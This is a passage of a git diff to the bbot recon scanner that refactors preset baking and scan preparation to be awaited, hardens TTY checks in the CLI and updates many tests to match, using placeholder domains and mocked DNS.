.../test_manager_scope_accuracy.py | 11 +- bbot/test/test_step_1/test_presets.py | 118 +++++++++--------- bbot/test/test_step_1/test_python_api.py | 68 ++++++---- bbot/test/test_step_1/test_scan.py | 15 ++- 12 files changed, 203 insertions(+), 96 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index b8e262ee64..e0b79ab975 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -34,8 +34,13 @@ async def _main(): import traceback from contextlib import suppress - # fix tee buffering - sys.stdout.reconfigure(line_buffering=True) + # fix tee buffering (only if on real TTY) + if hasattr(sys.stdout, "reconfigure"): + try: + if sys.stdout.isatty(): + sys.stdout.reconfigure(line_buffering=True) + except Exception: + pass log = logging.getLogger("bbot.cli") @@ -197,7 +202,14 @@ async def _main(): if not options.dry_run: log.trace(f"Command: {' '.join(sys.argv)}") - if sys.stdin.isatty(): + try: + is_tty = ( + hasattr(sys.stdin, "isatty") and not getattr(sys.stdin, "closed", False) and sys.stdin.isatty() + ) + except Exception: + is_tty = False + + if is_tty: # warn if any targets belong directly to a cloud provider if not scan.preset.strict_scope: for event in scan.target.seeds.event_seeds: diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 9cf115ada2..9613823b3d 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -989,11 +989,13 @@ def presets_table(self, include_modules=True): if include_modules: header.append("Modules") for loaded_preset, category, preset_path, original_file in self.all_presets.values(): - loaded_preset = loaded_preset.bake() - num_modules = f"{len(loaded_preset.scan_modules):,}" + # Use explicit_scan_modules which contains the raw modules from YAML + # This avoids needing to call the async bake() method + explicit_modules = loaded_preset.explicit_scan_modules + num_modules = f"{len(explicit_modules):,}" row = [loaded_preset.name, category, loaded_preset.description, num_modules] if include_modules: - row.append(", ".join(sorted(loaded_preset.scan_modules))) + row.append(", ".join(sorted(explicit_modules))) table.append(row) return make_table(table, header) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 5e4183a4d8..ceb20320be 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -54,6 +54,10 @@ def clean_default_config(monkeypatch): ) with monkeypatch.context() as m: m.setattr("bbot.core.core.DEFAULT_CONFIG", clean_config) + # Also mock custom config to be empty so user config doesn't contaminate tests + m.setattr("bbot.core.config.files.BBOTConfigFiles.get_custom_config", lambda self: OmegaConf.create({})) + # Reset the cached custom config on the global CORE instance to force reload + CORE._custom_config = OmegaConf.create({}) yield diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index 2b39ae2e2b..59cbba2a6b 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -343,6 +343,25 @@ def pytest_sessionfinish(session, exitstatus): # Wipe out BBOT home dir shutil.rmtree("/tmp/.bbot_test", ignore_errors=True) + # Ensure stdout/stderr are blocking before pytest writes summaries + try: + import sys + import fcntl + import os + import io + + fds = [] + for stream in (sys.stdout, sys.stderr): + try: + fds.append(stream.fileno()) + except io.UnsupportedOperation: + pass + for fd in fds: + flags = fcntl.fcntl(fd, fcntl.F_GETFL) + fcntl.fcntl(fd, fcntl.F_SETFL, flags & ~os.O_NONBLOCK) + except Exception: + pass + yield # temporarily suspend stdout capture and print detailed thread info diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index e6f8af76af..e4bb2ea75e 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -619,7 +619,7 @@ def test_cli_module_validation(monkeypatch, caplog): assert 'Did you mean "subdomain-enum"?' in caplog.text -def test_cli_presets(monkeypatch, capsys, caplog): +def test_cli_presets(monkeypatch, capsys, caplog, clean_default_config): import yaml monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 64bd060bf8..da495a283e 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -633,6 +633,7 @@ async def test_event_discovery_context(): from bbot.modules.base import BaseModule scan = Scanner("evilcorp.com") + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": {"A": ["1.2.3.4"]}, @@ -642,7 +643,6 @@ async def test_event_discovery_context(): "four.evilcorp.com": {"A": ["1.2.3.4"]}, } ) - await scan._prep() dummy_module_1 = scan._make_dummy_module("module_1") dummy_module_2 = scan._make_dummy_module("module_2") @@ -792,6 +792,7 @@ async def handle_event(self, event): # test to make sure this doesn't come back # https://github.com/blacklanternsecurity/bbot/issues/1498 scan = Scanner("http://blacklanternsecurity.com", config={"dns": {"minimal": False}}) + await scan._prep() await scan.helpers.dns._mock_dns( {"blacklanternsecurity.com": {"TXT": ["blsops.com"], "A": ["127.0.0.1"]}, "blsops.com": {"A": ["127.0.0.1"]}} ) @@ -810,6 +811,7 @@ async def test_event_web_spider_distance(bbot_scanner): # URL_UNVERIFIED events should not increment web spider distance scan = bbot_scanner(config={"web": {"spider_distance": 1}}) + await scan._prep() url_event_1 = scan.make_event("http://www.evilcorp.com/test1", "URL_UNVERIFIED", parent=scan.root_event) assert url_event_1.web_spider_distance == 0 url_event_2 = scan.make_event("http://www.evilcorp.com/test2", "URL_UNVERIFIED", parent=url_event_1) @@ -823,6 +825,7 @@ async def test_event_web_spider_distance(bbot_scanner): # URL events should increment web spider distance scan = bbot_scanner(config={"web": {"spider_distance": 1}}) + await scan._prep() url_event_1 = scan.make_event("http://www.evilcorp.com/test1", "URL", parent=scan.root_event, tags="status-200") assert url_event_1.web_spider_distance == 0 url_event_2 = scan.make_event("http://www.evilcorp.com/test2", "URL", parent=url_event_1, tags="status-200") @@ -895,8 +898,10 @@ async def test_event_web_spider_distance(bbot_scanner): assert "spider-max" not in url_event_5.tags -def test_event_confidence(): +@pytest.mark.asyncio +async def test_event_confidence(): scan = Scanner() + await scan._prep() # default 100 event1 = scan.make_event("evilcorp.com", "DNS_NAME", dummy=True) assert event1.confidence == 100 @@ -930,8 +935,10 @@ def test_event_confidence(): assert event8.cumulative_confidence == 100 -def test_event_closest_host(): +@pytest.mark.asyncio +async def test_event_closest_host(): scan = Scanner() + await scan._prep() # first event has a host event1 = scan.make_event("evilcorp.com", "DNS_NAME", parent=scan.root_event) assert event1.host == "evilcorp.com" @@ -984,7 +991,8 @@ def test_event_closest_host(): assert vuln is not None -def test_event_magic(): +@pytest.mark.asyncio +async def test_event_magic(): from bbot.core.helpers.libmagic import get_magic_info, get_compression import base64 @@ -1005,6 +1013,7 @@ def test_event_magic(): # test filesystem event - file scan = Scanner() + await scan._prep() event = scan.make_event({"path": zip_file}, "FILESYSTEM", parent=scan.root_event) assert event.data == { "path": "/tmp/.bbottestzipasdkfjalsdf.zip", @@ -1018,6 +1027,7 @@ def test_event_magic(): # test filesystem event - folder scan = Scanner() + await scan._prep() event = scan.make_event({"path": "/tmp"}, "FILESYSTEM", parent=scan.root_event) assert event.data == {"path": "/tmp"} assert event.tags == {"folder"} @@ -1028,6 +1038,7 @@ def test_event_magic(): @pytest.mark.asyncio async def test_mobile_app(): scan = Scanner() + await scan._prep() with pytest.raises(ValidationError): scan.make_event("com.evilcorp.app", "MOBILE_APP", parent=scan.root_event) with pytest.raises(ValidationError): @@ -1056,6 +1067,7 @@ async def test_mobile_app(): @pytest.mark.asyncio async def test_filesystem(): scan = Scanner("FILESYSTEM:/tmp/asdf") + await scan._prep() events = [e async for e in scan.async_start()] assert len(events) == 3 filesystem_events = [e for e in events if e.type == "FILESYSTEM"] @@ -1064,8 +1076,10 @@ async def test_filesystem(): assert filesystem_events[0].data == {"path": "/tmp/asdf"} -def test_event_hashing(): +@pytest.mark.asyncio +async def test_event_hashing(): scan = Scanner("example.com") + await scan._prep() url_event = scan.make_event("https://api.example.com/", "URL_UNVERIFIED", parent=scan.root_event) host_event_1 = scan.make_event("www.example.com", "DNS_NAME", parent=url_event) host_event_2 = scan.make_event("test.example.com", "DNS_NAME", parent=url_event) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index cc6de37f93..8352b3550e 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -660,6 +660,7 @@ async def test_word_cloud(helpers, bbot_scanner): # saving and loading scan1 = bbot_scanner("127.0.0.1") + await scan1._prep() word_cloud = scan1.helpers.word_cloud word_cloud.add_word("lantern") word_cloud.add_word("black") diff --git a/bbot/test/test_step_1/test_manager_deduplication.py b/bbot/test/test_step_1/test_manager_deduplication.py index 65fbaeb172..987b1c7f6f 100644 --- a/bbot/test/test_step_1/test_manager_deduplication.py +++ b/bbot/test/test_step_1/test_manager_deduplication.py @@ -48,18 +48,29 @@ class PerDomainOnly(DefaultModule): async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs): scan = bbot_scanner(*args, config=_config, **kwargs) + await scan._prep() default_module = DefaultModule(scan) everything_module = EverythingModule(scan) no_suppress_dupes = NoSuppressDupes(scan) accept_dupes = AcceptDupes(scan) per_hostport_only = PerHostOnly(scan) per_domain_only = PerDomainOnly(scan) + + # Add modules to scan scan.modules["default_module"] = default_module scan.modules["everything_module"] = everything_module scan.modules["no_suppress_dupes"] = no_suppress_dupes scan.modules["accept_dupes"] = accept_dupes scan.modules["per_hostport_only"] = per_hostport_only scan.modules["per_domain_only"] = per_domain_only + + # Setup each module manually since they were added after _prep() + modules_to_setup = [default_module, everything_module, no_suppress_dupes, accept_dupes, per_hostport_only, per_domain_only] + for module in modules_to_setup: + setup_result = await module.setup() + if setup_result is not True: + raise Exception(f"Module {module.name} setup failed: {setup_result}") + if _dns_mock: await scan.helpers.dns._mock_dns(_dns_mock) if scan_callback is not None: diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index f012b0e3e0..76c17650a8 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -42,7 +42,7 @@ def bbot_other_httpservers(): @pytest.mark.asyncio -async def test_manager_scope_accuracy(bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl): +async def test_manager_scope_accuracy_correct(bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl): """ This test ensures that BBOT correctly handles different scope distance settings. It performs these tests for normal modules, output modules, and their graph variants, @@ -103,14 +103,21 @@ async def handle_batch(self, *events): async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs): scan = bbot_scanner(*args, config=_config, **kwargs) + await scan._prep() dummy_module = DummyModule(scan) dummy_module_nodupes = DummyModuleNoDupes(scan) dummy_graph_output_module = DummyGraphOutputModule(scan) dummy_graph_batch_output_module = DummyGraphBatchOutputModule(scan) + await dummy_module.setup() + await dummy_module_nodupes.setup() + await dummy_graph_output_module.setup() + await dummy_graph_batch_output_module.setup() + scan.modules["dummy_module"] = dummy_module scan.modules["dummy_module_nodupes"] = dummy_module_nodupes scan.modules["dummy_graph_output_module"] = dummy_graph_output_module scan.modules["dummy_graph_batch_output_module"] = dummy_graph_batch_output_module + await scan.helpers.dns._mock_dns(_dns_mock) if scan_callback is not None: scan_callback(scan) @@ -810,6 +817,7 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): whitelist=["127.0.0.0/29", "test.notreal"], blacklist=["127.0.0.64/29"], ) + await scan._prep() await scan.helpers.dns._mock_dns({ "www-prod.test.notreal": {"A": ["127.0.0.66"]}, "www-dev.test.notreal": {"A": ["127.0.0.22"]}, @@ -827,6 +835,7 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): @pytest.mark.asyncio async def test_manager_scope_tagging(bbot_scanner): scan = bbot_scanner("test.notreal") + await scan._prep() e1 = scan.make_event("www.test.notreal", parent=scan.root_event, tags=["affiliate"]) assert e1.scope_distance == 1 assert "distance-1" in e1.tags diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 744b108dd3..8a6061e59b 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -67,7 +67,7 @@ def test_core(): assert "test456" in core_copy.config["test123"] -def test_preset_yaml(clean_default_config): +async def test_preset_yaml(clean_default_config): import yaml preset1 = Preset( @@ -86,7 +86,7 @@ def test_preset_yaml(clean_default_config): silent=True, config={"preset_test_asdf": 1}, ) - preset1 = preset1.bake() + preset1 = await preset1.bake() assert "evilcorp.com" in preset1.target.seeds assert "evilcorp.ce" not in preset1.target.seeds assert "asdf.www.evilcorp.ce" in preset1.target.seeds @@ -169,15 +169,17 @@ def test_preset_cache(): preset_file.unlink() -def test_preset_scope(): +@pytest.mark.asyncio +async def test_preset_scope(clean_default_config): # test target merging scan = Scanner("1.2.3.4", preset=Preset.from_dict({"target": ["evilcorp.com"]})) + await scan._prep() assert {str(h) for h in scan.preset.target.seeds.hosts} == {"1.2.3.4/32", "evilcorp.com"} assert {e.data for e in scan.target.seeds} == {"1.2.3.4", "evilcorp.com"} assert {e.data for e in scan.target.whitelist} == {"1.2.3.4/32", "evilcorp.com"} blank_preset = Preset() - blank_preset = blank_preset.bake() + blank_preset = await blank_preset.bake() assert not blank_preset.target.seeds assert not blank_preset.target.whitelist assert blank_preset.strict_scope is False @@ -188,7 +190,7 @@ def test_preset_scope(): whitelist=["evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], ) - preset1_baked = preset1.bake() + preset1_baked = await preset1.bake() # make sure target logic works as expected assert "evilcorp.com" in preset1_baked.target.seeds @@ -219,7 +221,7 @@ def test_preset_scope(): preset1.merge(preset3) - preset1_baked = preset1.bake() + preset1_baked = await preset1.bake() # targets should be merged assert "evilcorp.com" in preset1_baked.target.seeds @@ -264,8 +266,8 @@ def test_preset_scope(): config={"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}}, ) - preset_nowhitelist_baked = preset_nowhitelist.bake() - preset_whitelist_baked = preset_whitelist.bake() + preset_nowhitelist_baked = await preset_nowhitelist.bake() + preset_whitelist_baked = await preset_whitelist.bake() assert preset_nowhitelist_baked.to_dict(include_target=True) == { "target": ["evilcorp.com"], @@ -307,7 +309,7 @@ def test_preset_scope(): assert {e.data for e in preset_whitelist_baked.whitelist} == {"1.2.3.0/24", "http://evilcorp.net/"} preset_nowhitelist.merge(preset_whitelist) - preset_nowhitelist_baked = preset_nowhitelist.bake() + preset_nowhitelist_baked = await preset_nowhitelist.bake() assert {e.data for e in preset_nowhitelist_baked.seeds} == {"evilcorp.com", "evilcorp.org"} assert {e.data for e in preset_nowhitelist_baked.whitelist} == {"1.2.3.0/24", "http://evilcorp.net/"} assert "www.evilcorp.org" in preset_nowhitelist_baked.seeds @@ -322,7 +324,7 @@ def test_preset_scope(): preset_nowhitelist = Preset("evilcorp.com") preset_whitelist = Preset("evilcorp.org", whitelist=["1.2.3.4/24"]) preset_whitelist.merge(preset_nowhitelist) - preset_whitelist_baked = preset_whitelist.bake() + preset_whitelist_baked = await preset_whitelist.bake() assert {e.data for e in preset_whitelist_baked.seeds} == {"evilcorp.com", "evilcorp.org"} assert {e.data for e in preset_whitelist_baked.whitelist} == {"1.2.3.0/24"} assert "www.evilcorp.org" in preset_whitelist_baked.seeds @@ -338,14 +340,14 @@ def test_preset_scope(): preset_nowhitelist1 = Preset("evilcorp.com") preset_nowhitelist2 = Preset("evilcorp.de") - preset_nowhitelist1_baked = preset_nowhitelist1.bake() - preset_nowhitelist2_baked = preset_nowhitelist2.bake() + preset_nowhitelist1_baked = await preset_nowhitelist1.bake() + preset_nowhitelist2_baked = await preset_nowhitelist2.bake() assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com"} assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.de"} assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com"} assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.de"} preset_nowhitelist1.merge(preset_nowhitelist2) - preset_nowhitelist1_baked = preset_nowhitelist1.bake() + preset_nowhitelist1_baked = await preset_nowhitelist1.bake() assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com", "evilcorp.de"} assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.de"} assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com", "evilcorp.de"} @@ -366,8 +368,8 @@ def test_preset_scope(): preset_nowhitelist1 = Preset("evilcorp.com") preset_nowhitelist2 = Preset("evilcorp.de") preset_nowhitelist2.merge(preset_nowhitelist1) - preset_nowhitelist1_baked = preset_nowhitelist1.bake() - preset_nowhitelist2_baked = preset_nowhitelist2.bake() + preset_nowhitelist1_baked = await preset_nowhitelist1.bake() + preset_nowhitelist2_baked = await preset_nowhitelist2.bake() assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com"} assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.com", "evilcorp.de"} assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com"} @@ -377,6 +379,7 @@ def test_preset_scope(): @pytest.mark.asyncio async def test_preset_logging(): scan = Scanner() + await scan._prep() # test individual verbosity levels original_log_level = CORE.logger.log_level @@ -404,12 +407,12 @@ async def test_preset_logging(): assert silent_and_verbose.silent is True assert silent_and_verbose.debug is False assert silent_and_verbose.verbose is True - baked = silent_and_verbose.bake() + baked = await silent_and_verbose.bake() assert baked.silent is True assert baked.debug is False assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = silent_and_verbose.bake(scan=scan) + baked = await silent_and_verbose.bake(scan=scan) assert baked.core.logger.log_level == logging.CRITICAL assert CORE.logger.log_level == logging.CRITICAL @@ -420,12 +423,12 @@ async def test_preset_logging(): assert silent_and_debug.silent is True assert silent_and_debug.debug is True assert silent_and_debug.verbose is False - baked = silent_and_debug.bake() + baked = await silent_and_debug.bake() assert baked.silent is True assert baked.debug is False assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = silent_and_debug.bake(scan=scan) + baked = await silent_and_debug.bake(scan=scan) assert baked.core.logger.log_level == logging.CRITICAL assert CORE.logger.log_level == logging.CRITICAL @@ -436,12 +439,12 @@ async def test_preset_logging(): assert debug_and_verbose.silent is False assert debug_and_verbose.debug is True assert debug_and_verbose.verbose is True - baked = debug_and_verbose.bake() + baked = await debug_and_verbose.bake() assert baked.silent is False assert baked.debug is True assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = debug_and_verbose.bake(scan=scan) + baked = await debug_and_verbose.bake(scan=scan) assert baked.core.logger.log_level == logging.DEBUG assert CORE.logger.log_level == logging.DEBUG @@ -452,12 +455,12 @@ async def test_preset_logging(): assert all_preset.silent is True assert all_preset.debug is True assert all_preset.verbose is True - baked = all_preset.bake() + baked = await all_preset.bake() assert baked.silent is True assert baked.debug is False assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = all_preset.bake(scan=scan) + baked = await all_preset.bake(scan=scan) assert baked.core.logger.log_level == logging.CRITICAL assert CORE.logger.log_level == logging.CRITICAL @@ -465,7 +468,7 @@ async def test_preset_logging(): assert CORE.logger.log_level == original_log_level # defaults - preset = Preset().bake() + preset = await Preset().bake() assert preset.core.logger.log_level == original_log_level assert CORE.logger.log_level == original_log_level @@ -475,8 +478,8 @@ async def test_preset_logging(): await scan._cleanup() -def test_preset_module_resolution(clean_default_config): - preset = Preset().bake() +async def test_preset_module_resolution(clean_default_config): + preset = await Preset().bake() sslcert_preloaded = preset.preloaded_module("sslcert") wayback_preloaded = preset.preloaded_module("wayback") wappalyzer_preloaded = preset.preloaded_module("wappalyzer") @@ -504,11 +507,11 @@ def test_preset_module_resolution(clean_default_config): assert preset.modules == set(preset.output_modules).union(set(preset.internal_modules)) # make sure dependency resolution works as expected - preset = Preset(modules=["wappalyzer"]).bake() + preset = await Preset(modules=["wappalyzer"]).bake() assert set(preset.scan_modules) == {"wappalyzer", "httpx"} # make sure flags work as expected - preset = Preset(flags=["subdomain-enum"]).bake() + preset = await Preset(flags=["subdomain-enum"]).bake() assert preset.flags == {"subdomain-enum"} assert "sslcert" in preset.modules assert "wayback" in preset.modules @@ -516,41 +519,41 @@ def test_preset_module_resolution(clean_default_config): assert "wayback" in preset.scan_modules # flag + module exclusions - preset = Preset(flags=["subdomain-enum"], exclude_modules=["sslcert"]).bake() + preset = await Preset(flags=["subdomain-enum"], exclude_modules=["sslcert"]).bake() assert "sslcert" not in preset.modules assert "wayback" in preset.modules assert "sslcert" not in preset.scan_modules assert "wayback" in preset.scan_modules # flag + flag exclusions - preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() + preset = await Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() assert "sslcert" not in preset.modules assert "wayback" in preset.modules assert "sslcert" not in preset.scan_modules assert "wayback" in preset.scan_modules # flag + flag requirements - preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() + preset = await Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() assert "sslcert" not in preset.modules assert "wayback" in preset.modules assert "sslcert" not in preset.scan_modules assert "wayback" in preset.scan_modules # normal module enableement - preset = Preset(modules=["sslcert", "wappalyzer", "wayback"]).bake() + preset = await Preset(modules=["sslcert", "wappalyzer", "wayback"]).bake() assert set(preset.scan_modules) == {"sslcert", "wappalyzer", "wayback", "httpx"} # modules + flag exclusions - preset = Preset(exclude_flags=["active"], modules=["sslcert", "wappalyzer", "wayback"]).bake() + preset = await Preset(exclude_flags=["active"], modules=["sslcert", "wappalyzer", "wayback"]).bake() assert set(preset.scan_modules) == {"wayback"} # modules + flag requirements - preset = Preset(require_flags=["passive"], modules=["sslcert", "wappalyzer", "wayback"]).bake() + preset = await Preset(require_flags=["passive"], modules=["sslcert", "wappalyzer", "wayback"]).bake() assert set(preset.scan_modules) == {"wayback"} # modules + module exclusions - preset = Preset(exclude_modules=["sslcert"], modules=["sslcert", "wappalyzer", "wayback"]).bake() - baked_preset = preset.bake() + preset = await Preset(exclude_modules=["sslcert"], modules=["sslcert", "wappalyzer", "wayback"]).bake() + baked_preset = preset assert baked_preset.modules == { "wayback", "cloudcheck", @@ -701,6 +704,7 @@ class TestModule5(BaseModule): # should fail with pytest.raises(ValidationError): scan = Scanner(preset=preset) + await scan._prep() preset = Preset.from_yaml_string( f""" @@ -851,6 +855,7 @@ async def test_preset_conditions(): assert preset.conditions scan = Scanner(preset=preset) + await scan._prep() assert scan.preset.conditions await scan._cleanup() @@ -859,34 +864,35 @@ async def test_preset_conditions(): preset.merge(preset2) with pytest.raises(PresetAbortError): - Scanner(preset=preset) + scan = Scanner(preset=preset) + await scan._prep() -def test_preset_module_disablement(clean_default_config): +async def test_preset_module_disablement(clean_default_config): # internal module disablement - preset = Preset().bake() + preset = await Preset().bake() assert "speculate" in preset.internal_modules assert "excavate" in preset.internal_modules assert "aggregate" in preset.internal_modules - preset = Preset(config={"speculate": False}).bake() + preset = await Preset(config={"speculate": False}).bake() assert "speculate" not in preset.internal_modules assert "excavate" in preset.internal_modules assert "aggregate" in preset.internal_modules - preset = Preset(exclude_modules=["speculate", "excavate"]).bake() + preset = await Preset(exclude_modules=["speculate", "excavate"]).bake() assert "speculate" not in preset.internal_modules assert "excavate" not in preset.internal_modules assert "aggregate" in preset.internal_modules # internal module disablement - preset = Preset().bake() + preset = await Preset().bake() assert set(preset.output_modules) == {"python", "txt", "csv", "json"} - preset = Preset(exclude_modules=["txt", "csv"]).bake() + preset = await Preset(exclude_modules=["txt", "csv"]).bake() assert set(preset.output_modules) == {"python", "json"} - preset = Preset(output_modules=["json"]).bake() + preset = await Preset(output_modules=["json"]).bake() assert set(preset.output_modules) == {"json"} -def test_preset_override(): +async def test_preset_override(clean_default_config): # tests to make sure a preset's config settings override others it includes preset_1_yaml = """ name: override1 @@ -955,7 +961,7 @@ def test_preset_override(): assert preset.debug is True assert preset.silent is True assert preset.name == "override4" - preset = preset.bake() + preset = await preset.bake() assert preset.debug is False assert preset.silent is True assert preset.name == "override4" @@ -968,14 +974,14 @@ def test_preset_override(): assert set(preset.scan_modules) == {"httpx", "c99", "robots", "virustotal", "securitytrails"} -def test_preset_require_exclude(): +async def test_preset_require_exclude(clean_default_config): def get_module_flags(p): for m in p.scan_modules: preloaded = p.preloaded_module(m) yield m, preloaded.get("flags", []) # enable by flag, no exclusions/requirements - preset = Preset(flags=["subdomain-enum"]).bake() + preset = await Preset(flags=["subdomain-enum"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) dnsbrute_flags = preset.preloaded_module("dnsbrute").get("flags", []) @@ -993,7 +999,7 @@ def get_module_flags(p): assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, one required flag - preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() + preset = await Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "chaos" in [x[0] for x in module_flags] @@ -1004,7 +1010,7 @@ def get_module_flags(p): assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, one excluded flag - preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() + preset = await Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "chaos" in [x[0] for x in module_flags] @@ -1015,7 +1021,7 @@ def get_module_flags(p): assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, one excluded module - preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).bake() + preset = await Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1026,7 +1032,7 @@ def get_module_flags(p): assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, multiple required flags - preset = Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).bake() + preset = await Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1036,7 +1042,7 @@ def get_module_flags(p): assert not any("aggressive" in flags for module, flags in module_flags) # enable by flag, multiple excluded flags - preset = Preset(flags=["subdomain-enum"], exclude_flags=["aggressive", "active"]).bake() + preset = await Preset(flags=["subdomain-enum"], exclude_flags=["aggressive", "active"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1046,7 +1052,7 @@ def get_module_flags(p): assert not any("aggressive" in flags for module, flags in module_flags) # enable by flag, multiple excluded modules - preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).bake() + preset = await Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1078,9 +1084,9 @@ async def test_preset_output_dir(): # regression test for https://github.com/blacklanternsecurity/bbot/issues/2337 -def test_preset_serialization(): +async def test_preset_serialization(clean_default_config): preset = Preset("192.168.1.1") - preset = preset.bake() + preset = await preset.bake() import orjson as json diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index 1282110400..0dbc402df6 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -2,17 +2,19 @@ @pytest.mark.asyncio -async def test_python_api(): +async def test_python_api(clean_default_config): from bbot import Scanner # make sure events are properly yielded scan1 = Scanner("127.0.0.1") + await scan1._prep() events1 = [] async for event in scan1.async_start(): events1.append(event) assert any("127.0.0.1" == e for e in events1) # make sure output files work scan2 = Scanner("127.0.0.1", output_modules=["json"], scan_name="python_api_test") + await scan2._prep() await scan2.async_start_without_generator() scan_home = scan2.helpers.scans_dir / "python_api_test" out_file = scan_home / "output.json" @@ -25,6 +27,7 @@ async def test_python_api(): assert "python_api_test" in open(debug_log).read() scan3 = Scanner("127.0.0.1", output_modules=["json"], scan_name="scan_logging_test") + await scan3._prep() await scan3.async_start_without_generator() assert "scan_logging_test" not in open(scan_log).read() @@ -42,14 +45,17 @@ async def test_python_api(): # make sure config loads properly bbot_home = "/tmp/.bbot_python_api_test" - Scanner("127.0.0.1", config={"home": bbot_home}) + scan4 = Scanner("127.0.0.1", config={"home": bbot_home}) + await scan4._prep() assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") # output modules override - scan4 = Scanner() - assert set(scan4.preset.output_modules) == {"csv", "json", "python", "txt"} - scan5 = Scanner(output_modules=["json"]) - assert set(scan5.preset.output_modules) == {"json"} + scan5 = Scanner() + await scan5._prep() + assert set(scan5.preset.output_modules) == {"csv", "json", "python", "txt"} + scan6 = Scanner(output_modules=["json"]) + await scan6._prep() + assert set(scan6.preset.output_modules) == {"json"} # custom target types custom_target_scan = Scanner("ORG:evilcorp") @@ -57,72 +63,88 @@ async def test_python_api(): assert 1 == len([e for e in events if e.type == "ORG_STUB" and e.data == "evilcorp" and "target" in e.tags]) # presets - scan6 = Scanner("evilcorp.com", presets=["subdomain-enum"]) - assert "sslcert" in scan6.preset.modules + scan7 = Scanner("evilcorp.com", presets=["subdomain-enum"]) + await scan7._prep() + assert "sslcert" in scan7.preset.modules -def test_python_api_sync(): +@pytest.mark.asyncio +async def test_python_api_sync(clean_default_config): from bbot.scanner import Scanner # make sure events are properly yielded scan1 = Scanner("127.0.0.1") + await scan1._prep() 